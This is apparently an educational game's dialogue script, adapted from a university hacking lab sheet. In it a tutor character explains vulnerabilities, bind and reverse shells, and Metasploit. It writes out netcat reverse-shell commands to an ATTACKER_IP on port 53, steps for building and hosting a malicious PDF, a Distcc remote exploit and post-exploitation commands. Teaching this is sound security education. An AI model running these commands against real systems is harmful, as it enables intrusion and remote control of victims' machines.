// Vulnerabilities and Exploitation - Game Scenario Version
// Based on HacktivityLabSheets: introducing_attacks/3_vulnerabilities.md
// Author: Z. Cliffe Schreuders, Anatoliy Gorbenko, Thalita Vergilio
// License: CC BY-SA 4.0

// Global persistent state
VAR haxolottle_rapport = 0

// External variables
EXTERNAL player_name

=== start ===
Haxolottle: {player_name}, want to learn about vulnerabilities and exploitation?

~ haxolottle_rapport = 0

Haxolottle: This is one of the most critical topics in cybersecurity, little axolotl. Even systems running "trusted" software from major vendors can be compromised due to programming mistakes.

Haxolottle: We'll explore how attackers exploit weaknesses, the difference between bind shells and reverse shells, and how to use the Metasploit framework.

Haxolottle: Important: this knowledge is for authorized security testing only. Understanding attacks helps you defend against them.

-> vulnerability_hub

=== vulnerability_hub ===
Haxolottle: What would you like to know about?

+ [What are software vulnerabilities?]
    -> software_vulnerabilities_intro
+ [What causes vulnerabilities?]
    -> vulnerability_causes
+ [Exploits and payloads]
    -> exploits_payloads
+ [Shellcode and payloads]
    -> shellcode_intro
+ [Bind shells]
    -> bind_shell_concept
+ [Reverse shells]
    -> reverse_shell_concept
+ [Network Address Translation (NAT)]
    -> nat_considerations
+ [Metasploit Framework]
    -> metasploit_intro
+ [Using msfconsole]
    -> msfconsole_basics
+ [Local exploits]
    -> local_exploits
+ [Remote exploits]
    -> remote_exploits
+ [Show me commands]
    -> commands_reference
+ [I'm good for now]
    #exit_conversation
    -> END

=== software_vulnerabilities_intro ===
Haxolottle: Excellent question. A software vulnerability is a weakness in the security of a program.

~ haxolottle_rapport += 5

Haxolottle: Think about it this way: what if an attacker wants to run malicious code on a system that only allows "trusted" software from companies like Microsoft or Adobe?

Haxolottle: Unfortunately, it turns out that writing secure code is quite hard. Innocent and seemingly small programming mistakes can cause serious security vulnerabilities.

Haxolottle: In many cases, software vulnerabilities can lead to attackers being able to take control of the vulnerable software. When an attacker can run any code they like, this is known as "arbitrary code execution."

+ [What does arbitrary code execution allow an attacker to do?]
    Haxolottle: With arbitrary code execution, attackers can essentially assume the identity of the vulnerable software and misbehave.

    Haxolottle: For example, if they compromise a web browser, they can access anything the browser can access - your files, your cookies, your session tokens.

    Haxolottle: If they compromise a system service running as administrator or root, they have complete control over the entire system.

    ~ haxolottle_rapport += 5

+ [Can you give me a real-world example?]
    Haxolottle: Sure. Adobe Reader versions before 8.1.2 had vulnerabilities that allowed attackers to craft malicious PDF documents.

    Haxolottle: When a victim opened the PDF, the attacker could execute arbitrary code on their system - just by opening what appeared to be a normal document.

    Haxolottle: Another example is the Distcc vulnerability (CVE-2004-2687). Anyone who could connect to the Distcc port could execute arbitrary commands on the server.

    ~ haxolottle_rapport += 5

+ [Tell me more about the causes]
    -> vulnerability_causes

- -> vulnerability_hub

=== vulnerability_causes ===
Haxolottle: Software vulnerabilities arise from three main categories of mistakes.

~ haxolottle_rapport += 5

Haxolottle: First, there are design flaws - fundamental mistakes in how the system was architected. These are problems with the concept itself, not just the implementation.

Haxolottle: Second, implementation flaws - mistakes in the programming code. This includes buffer overflows, SQL injection vulnerabilities, cross-site scripting flaws, and so on.

Haxolottle: Third, misconfiguration - mistakes in settings and configuration. Even secure software can be made vulnerable through poor configuration choices.

+ [Which type is most common?]
    Haxolottle: Implementation flaws are incredibly common because programming secure code is difficult, especially in languages like C and C++ that don't have built-in protections.

    Haxolottle: However, misconfigurations are also extremely prevalent because systems are complex and it's easy to overlook security settings.

    Haxolottle: Design flaws are less common but can be more fundamental and harder to fix without major rearchitecture.

    ~ haxolottle_rapport += 5

+ [Can these vulnerabilities be completely prevented?]
    Haxolottle: That's a great question that gets at a fundamental challenge in security.

    Haxolottle: Complete prevention is nearly impossible in complex software. However, we can significantly reduce vulnerabilities through secure coding practices, code review, security testing, and using modern languages with built-in protections.

    Haxolottle: This is why defense in depth is important - we assume vulnerabilities will exist and add layers of protection.

    ~ haxolottle_rapport += 5

- -> vulnerability_hub

=== exploits_payloads ===
Haxolottle: Let me clarify these two important concepts.

~ haxolottle_rapport += 5

Haxolottle: An exploit is an action - or a piece of software that performs an action - that takes advantage of a vulnerability.

Haxolottle: The result is that an attacker makes the system perform in ways that are not intentionally authorized. This could include arbitrary code execution, changes to databases, or denial of service like crashing the system.

Haxolottle: The action that takes place when an exploit is successful is known as the payload.

+ [So the exploit is the delivery mechanism?]
    Haxolottle: Exactly! Think of it like this: the exploit is the lock pick, and the payload is what you do once you're inside.

    Haxolottle: The exploit leverages the vulnerability to gain control, and the payload is the malicious code that runs once control is achieved.

    Haxolottle: In Metasploit, you can mix and match exploits with different payloads, giving tremendous flexibility.

    ~ haxolottle_rapport += 5

+ [What kinds of payloads are there?]
    -> shellcode_intro

- -> vulnerability_hub

=== shellcode_intro ===
Haxolottle: The most common type of payload is shellcode - code that gives the attacker shell access to the target system.

~ haxolottle_rapport += 5

Haxolottle: With shell access, attackers can interact with a command prompt and run commands on the target system as if they were sitting at the keyboard.

Haxolottle: Metasploit has hundreds of different payloads. You can list them with the msfvenom command:

Haxolottle: msfvenom -l payload | less

Haxolottle: There are two main approaches to achieving remote shell access: bind shells and reverse shells.

+ [What's a bind shell?]
    -> bind_shell_concept

+ [What's a reverse shell?]
    -> reverse_shell_concept

+ [Which one should I use?]
    Haxolottle: In modern penetration testing, reverse shells are almost always the better choice.

    Haxolottle: They bypass most firewall configurations and work even when the target is behind NAT.

    Haxolottle: But let me explain both so you understand the trade-offs.

    ~ haxolottle_rapport += 5

- -> vulnerability_hub

=== bind_shell_concept ===
Haxolottle: A bind shell is the simplest approach. The payload listens on the network for a connection, and serves up a shell to anything that connects.

~ haxolottle_rapport += 5

Haxolottle: Think of it like this: the victim's computer opens a port and waits. The attacker then connects to that port and gets a command prompt.

Haxolottle: You can simulate this with netcat. On the victim system, run:

Haxolottle: nc.exe -l -p 31337 -e cmd.exe -vv

Haxolottle: Then from the attacker system, connect with:

Haxolottle: nc VICTIM_IP 31337

+ [What do those netcat flags mean?]
    Haxolottle: Good attention to detail! Let me break it down:

    Haxolottle: The -l flag tells netcat to listen as a service rather than connect as a client.

    Haxolottle: The -p flag specifies the port number to listen on.

    Haxolottle: The -e flag executes the specified program (cmd.exe on Windows, /bin/bash on Linux) and pipes all interaction through the connection.

    Haxolottle: The -vv flag makes it very verbose, showing you what's happening.

    ~ haxolottle_rapport += 5

+ [What's the main limitation of bind shells?]
    Haxolottle: Excellent question. Firewalls and NAT routing are the main problems.

    Haxolottle: Nowadays, firewalls typically prevent incoming network connections unless there's a specific reason to allow them - like the system being a web server.

    Haxolottle: If the victim is behind a NAT router or firewall that blocks incoming connections, your bind shell is useless.

    Haxolottle: This is why reverse shells became the dominant approach.

    ~ haxolottle_rapport += 5

+ [Tell me about reverse shells instead]
    -> reverse_shell_concept

- -> vulnerability_hub

=== reverse_shell_concept ===
Haxolottle: Reverse shells solve the firewall and NAT problems by reversing the connection direction.

~ haxolottle_rapport += 5

Haxolottle: Instead of the attacker connecting to the victim, the victim connects to the attacker!

Haxolottle: Here's how it works: the attacker starts listening on their system, then the payload on the victim's system initiates an outbound connection to the attacker.

Haxolottle: This works because firewalls typically allow outbound connections. They have to - otherwise you couldn't browse websites or check email.

+ [How do you set up a reverse shell with netcat?]
    Haxolottle: On the attacker system (Kali), start listening:

    Haxolottle: nc -l -p 53 -vv

    Haxolottle: On the victim system, connect back:

    Haxolottle: nc.exe ATTACKER_IP 53 -e cmd.exe -vv

    Haxolottle: Notice the victim is making the connection, but you still get a shell on your attacker system.

    ~ haxolottle_rapport += 5

+ [Why use port 53 specifically?]
    Haxolottle: Brilliant observation! Port 53 is used by DNS - the Domain Name System that resolves domain names to IP addresses.

    Haxolottle: Almost every Internet-connected system needs DNS to function. It's how "google.com" becomes an IP address.

    Haxolottle: Because DNS is essential, it's extremely rare for firewalls to block outbound connections on port 53.

    Haxolottle: By using port 53, we're disguising our reverse shell connection as DNS traffic, making it very likely to get through.

    ~ haxolottle_rapport += 5

+ [What about NAT and public IP addresses?]
    -> nat_considerations

- -> vulnerability_hub

=== nat_considerations ===
Haxolottle: Network Address Translation adds another complication worth understanding.

~ haxolottle_rapport += 5

Haxolottle: Often computer systems share one public IP address via a router, which then sends traffic to the correct local IP address using NAT.

Haxolottle: Unless port forwarding is configured on the router, there's no way to connect directly to a system without a public IP address.

Haxolottle: This is another reason reverse shells are necessary - they can start connections from behind NAT to systems with public IPs.

+ [So the attacker needs a public IP?]
    Haxolottle: For a reverse shell to work, yes - the attacker needs a publicly routable IP address, or port forwarding from one.

    Haxolottle: This is why attackers often use VPS (Virtual Private Servers) or compromised servers as command and control infrastructure.

    Haxolottle: In penetration testing engagements, you might work with the client's network team to set up proper port forwarding.

    ~ haxolottle_rapport += 5

+ [What if both systems are behind NAT?]
    Haxolottle: Then you'd need more advanced techniques like tunneling through a public server, or exploiting Universal Plug and Play (UPnP) to create port forwards.

    Haxolottle: Some attack frameworks use domain generation algorithms or communicate through third-party services like social media APIs.

    Haxolottle: But that's getting into advanced command and control techniques beyond this basic lab.

    ~ haxolottle_rapport += 5

- -> vulnerability_hub

=== metasploit_intro ===
Haxolottle: The Metasploit Framework is one of the most powerful and comprehensive tools for exploitation and penetration testing.

~ haxolottle_rapport += 5

Haxolottle: At its core, Metasploit provides a framework - a set of libraries and tools for exploit development and deployment.

Haxolottle: It includes modules for specific exploits, payloads, encoders, post-exploitation tools, and other extensions.

Haxolottle: The framework has several interfaces you can use: msfconsole (the interactive text console), the web-based Metasploit Community/Pro editions, and Armitage (a graphical interface).

+ [How many exploits does it include?]
    Haxolottle: Depending on the version and when it was last updated, Metasploit typically includes over two thousand different exploits!

    Haxolottle: When you start msfconsole, it reports the exact number of exploit modules available.

    Haxolottle: You can see them all with the "show exploits" command, though that list is quite long.

    ~ haxolottle_rapport += 5

+ [What's the typical workflow for using an exploit?]
    Haxolottle: Great question. Here's the standard process:

    Haxolottle: First, specify the exploit to use. Second, set options for the exploit like the IP address to attack. Third, choose a payload - this defines what happens on the compromised system.

    Haxolottle: Optionally, you can choose encoding to evade security monitoring like anti-malware or intrusion detection systems.

    Haxolottle: Finally, launch the exploit and see if it succeeds.

    Haxolottle: The flexibility to combine any exploit with different payloads and encoding is what makes Metasploit so powerful.

    ~ haxolottle_rapport += 5

+ [Tell me more about msfconsole]
    -> msfconsole_basics

- -> vulnerability_hub

=== msfconsole_basics ===
Haxolottle: Msfconsole is the interactive console interface that many consider the preferred way to use Metasploit.

~ haxolottle_rapport += 5

Haxolottle: Start it by simply running "msfconsole" - though it may take a moment to load.

Haxolottle: Once it's running, you have access to all of Metasploit's features through an interactive command line.

+ [What commands should I know?]
    Haxolottle: Let me give you the essentials:

    Haxolottle: "help" shows all available commands. "show exploits" lists all exploit modules. "show payloads" lists available payloads.

    Haxolottle: "use exploit/path/to/exploit" selects an exploit. "show options" displays what needs to be configured.

    Haxolottle: "set OPTION_NAME value" configures an option. "exploit" or "run" launches the attack.

    Haxolottle: "back" returns you to the main context if you want to change exploits.

    ~ haxolottle_rapport += 5

+ [Can I run regular shell commands too?]
    Haxolottle: Yes! You can run local programs directly from msfconsole, similar to a standard shell.

    Haxolottle: For example, "ls /home/kali" works just fine from within msfconsole.

    Haxolottle: This is convenient because you don't need to exit msfconsole to check files or run quick commands.

    ~ haxolottle_rapport += 5

+ [Does it have tab completion?]
    Haxolottle: Absolutely! Msfconsole has excellent tab completion support.

    Haxolottle: You can press TAB while typing exploit paths, options, or commands to autocomplete them.

    Haxolottle: You can also use UP and DOWN arrow keys to navigate through your command history.

    Haxolottle: These features make it much faster to work with Metasploit.

    ~ haxolottle_rapport += 5

- -> vulnerability_hub

=== local_exploits ===
Haxolottle: Local exploits target applications running on the victim's computer, rather than network services.

~ haxolottle_rapport += 5

Haxolottle: These often require some social engineering to get the victim to open a malicious file or visit a malicious website.

Haxolottle: A classic example is the Adobe PDF Escape EXE vulnerability (CVE-2010-1240). This affected Adobe Reader versions before 8.1.2.

+ [How does the PDF exploit work?]
    Haxolottle: You craft a malicious PDF document that exploits a vulnerability in how Adobe Reader processes embedded executables.

    Haxolottle: When the victim opens the PDF, they're prompted to execute a payload with a message that encourages them to click "Open."

    Haxolottle: If they click it, your payload executes on their system with their privileges.

    Haxolottle: The Metasploit module is "exploit/windows/fileformat/adobe_pdf_embedded_exe"

    ~ haxolottle_rapport += 5

+ [Walk me through creating a malicious PDF]
    Haxolottle: Sure! In msfconsole, start with:

    Haxolottle: use exploit/windows/fileformat/adobe_pdf_embedded_exe

    Haxolottle: Then set the filename: set FILENAME timetable.pdf

    Haxolottle: Choose a payload: set PAYLOAD windows/shell/reverse_tcp

    Haxolottle: Configure where to connect back: set LHOST YOUR_IP and set LPORT YOUR_PORT

    Haxolottle: Finally, run the exploit to generate the malicious PDF.

    Haxolottle: To receive the reverse shell, you need to set up a handler before the victim opens the PDF.

    ~ haxolottle_rapport += 5

+ [How do I set up the handler to receive the connection?]
    Haxolottle: Good question! You use the multi/handler exploit:

    Haxolottle: use exploit/multi/handler

    Haxolottle: set payload windows/meterpreter/reverse_tcp

    Haxolottle: set LHOST YOUR_IP

    Haxolottle: set LPORT YOUR_PORT (must match what you used in the PDF)

    Haxolottle: Then run it and leave it listening. When the victim opens the PDF and clicks through, you'll get a shell!

    ~ haxolottle_rapport += 5

+ [How would I deliver this PDF to a victim?]
    Haxolottle: In a real penetration test, you might host it on a web server and send a phishing email with a link.

    Haxolottle: For the lab, you can start Apache web server and host the PDF there.

    Haxolottle: Create a share directory: sudo mkdir /var/www/html/share

    Haxolottle: Copy your PDF there: sudo cp /home/kali/.msf4/local/timetable.pdf /var/www/html/share/

    Haxolottle: Start Apache: sudo service apache2 start

    Haxolottle: Then the victim can browse to http://YOUR_IP/share/timetable.pdf

    ~ haxolottle_rapport += 5

- -> vulnerability_hub

=== remote_exploits ===
Haxolottle: Remote exploits are even more dangerous because they target network services directly exposed to the Internet.

~ haxolottle_rapport += 5

Haxolottle: No social engineering required - if the vulnerable service is accessible, you can often compromise it without any user interaction!

Haxolottle: A great example is the Distcc vulnerability (CVE-2004-2687). Distcc is a program to distribute compilation of C/C++ code across systems on a network.

+ [What makes Distcc vulnerable?]
    Haxolottle: Distcc has a documented security issue where anyone who can connect to the port can execute arbitrary commands as the distcc user.

    Haxolottle: There's no authentication, no authorization checks. If you can reach the port, you can run commands. It's that simple.

    Haxolottle: This is a design flaw - the software was built for trusted networks and doesn't include any security controls.

    ~ haxolottle_rapport += 5

+ [How do I exploit Distcc with Metasploit?]
    Haxolottle: The exploit module is exploit/unix/misc/distcc_exec. Let me walk you through it:

    Haxolottle: First, use the exploit: use exploit/unix/misc/distcc_exec

    Haxolottle: Set the target: set RHOST VICTIM_IP

    Haxolottle: Choose a payload: set PAYLOAD cmd/unix/reverse

    Haxolottle: Configure your listener: set LHOST YOUR_IP and set LPORT YOUR_PORT

    Haxolottle: Then launch: exploit

    Haxolottle: Unlike the PDF exploit, msfconsole automatically starts the reverse shell handler for remote exploits!

    ~ haxolottle_rapport += 5

+ [Can I check if a target is vulnerable first?]
    Haxolottle: Great thinking! Some Metasploit exploits support a "check" command.

    Haxolottle: After setting your options, run "check" to see if the target appears vulnerable.

    Haxolottle: Not all exploits support this, and it's not 100% reliable, but it's worth trying.

    Haxolottle: For Distcc specifically, the check function isn't supported, but trying it doesn't hurt.

    ~ haxolottle_rapport += 5

+ [What level of access do I get?]
    Haxolottle: With Distcc, you typically get user-level access as the "distccd" user.

    Haxolottle: You won't have root (administrator) access initially, but you can access anything that user can access.

    Haxolottle: From there, you might attempt privilege escalation to gain root access, which is often the ultimate goal on Unix systems.

    Haxolottle: Even without root, a compromised user account can cause significant damage.

    ~ haxolottle_rapport += 5

+ [How can I make the shell more usable?]
    Haxolottle: The initial shell from cmd/unix/reverse is quite basic. You can upgrade it to an interactive shell:

    Haxolottle: Run: python -c 'import pty; pty.spawn("/bin/bash")'

    Haxolottle: This spawns a proper bash shell with better command line editing and behavior.

    Haxolottle: Then you'll have a more normal feeling shell prompt to work with.

    ~ haxolottle_rapport += 5

- -> vulnerability_hub

=== commands_reference ===
Haxolottle: Let me give you a comprehensive commands reference for this lab.

~ haxolottle_rapport += 5

Haxolottle: **Listing Metasploit Payloads:**

Haxolottle: msfvenom -l payload | less

Haxolottle: **Bind Shell Simulation with Netcat:**

Haxolottle: On victim: nc.exe -l -p 31337 -e cmd.exe -vv

Haxolottle: On attacker: nc VICTIM_IP 31337

+ [Show me reverse shell commands]
    Haxolottle: **Reverse Shell with Netcat:**

    Haxolottle: On attacker: nc -l -p 53 -vv

    Haxolottle: On victim: nc.exe ATTACKER_IP 53 -e cmd.exe -vv

    ~ haxolottle_rapport += 3

+ [Show me msfconsole basics]
    Haxolottle: **Msfconsole Basics:**

    Haxolottle: Start console: msfconsole

    Haxolottle: Get help: help

    Haxolottle: List exploits: show exploits

    Haxolottle: List payloads: show payloads

    Haxolottle: Get exploit info: info exploit/path/to/exploit

    Haxolottle: Select exploit: use exploit/path/to/exploit

    Haxolottle: Show options: show options

    Haxolottle: Set option: set OPTION_NAME value

    Haxolottle: Go back: back

    Haxolottle: Run exploit: exploit or run

    ~ haxolottle_rapport += 3

+ [Show me the Adobe PDF exploit commands]
    Haxolottle: **Adobe PDF Exploit (CVE-2010-1240):**

    Haxolottle: use exploit/windows/fileformat/adobe_pdf_embedded_exe

    Haxolottle: set FILENAME timetable.pdf

    Haxolottle: set PAYLOAD windows/shell/reverse_tcp

    Haxolottle: set LHOST YOUR_KALI_IP

    Haxolottle: set LPORT 4444

    Haxolottle: run

    Haxolottle: **Set up handler:**

    Haxolottle: use exploit/multi/handler

    Haxolottle: set payload windows/meterpreter/reverse_tcp

    Haxolottle: set LHOST YOUR_KALI_IP

    Haxolottle: set LPORT 4444

    Haxolottle: run

    ~ haxolottle_rapport += 3

+ [Show me the Distcc exploit commands]
    Haxolottle: **Distcc Remote Exploit (CVE-2004-2687):**

    Haxolottle: use exploit/unix/misc/distcc_exec

    Haxolottle: set RHOST VICTIM_IP

    Haxolottle: set PAYLOAD cmd/unix/reverse

    Haxolottle: set LHOST YOUR_KALI_IP

    Haxolottle: set LPORT 4444

    Haxolottle: check (to see if target is vulnerable)

    Haxolottle: exploit

    Haxolottle: **Upgrade to interactive shell:**

    Haxolottle: python -c 'import pty; pty.spawn("/bin/bash")'

    ~ haxolottle_rapport += 3

+ [Show me web server setup for hosting payloads]
    Haxolottle: **Web Server Setup:**

    Haxolottle: Create share directory: sudo mkdir /var/www/html/share

    Haxolottle: Copy payload: sudo cp /home/kali/.msf4/local/filename.pdf /var/www/html/share/

    Haxolottle: Start Apache: sudo service apache2 start

    Haxolottle: Access from victim: http://KALI_IP/share/filename.pdf

    ~ haxolottle_rapport += 3

+ [Show me useful post-exploitation commands]
    Haxolottle: **Post-Exploitation Commands:**

    Haxolottle: Windows: whoami, dir, net user, ipconfig, systeminfo

    Haxolottle: Linux: whoami, ls -la, uname -a, ifconfig, cat /etc/passwd

    Haxolottle: Navigate: cd DIRECTORY

    Haxolottle: Create file: echo TEXT > filename.txt

    Haxolottle: Open browser (Windows): explorer "https://example.com"

    ~ haxolottle_rapport += 3

+ [Show me how to find network IPs]
    Haxolottle: **Finding IP Addresses:**

    Haxolottle: On Kali: ifconfig or hostname -I

    Haxolottle: On Windows: ipconfig

    Haxolottle: Note the host-only network interfaces that start with the same 3 octets.

    ~ haxolottle_rapport += 3

- -> vulnerability_hub

-> END
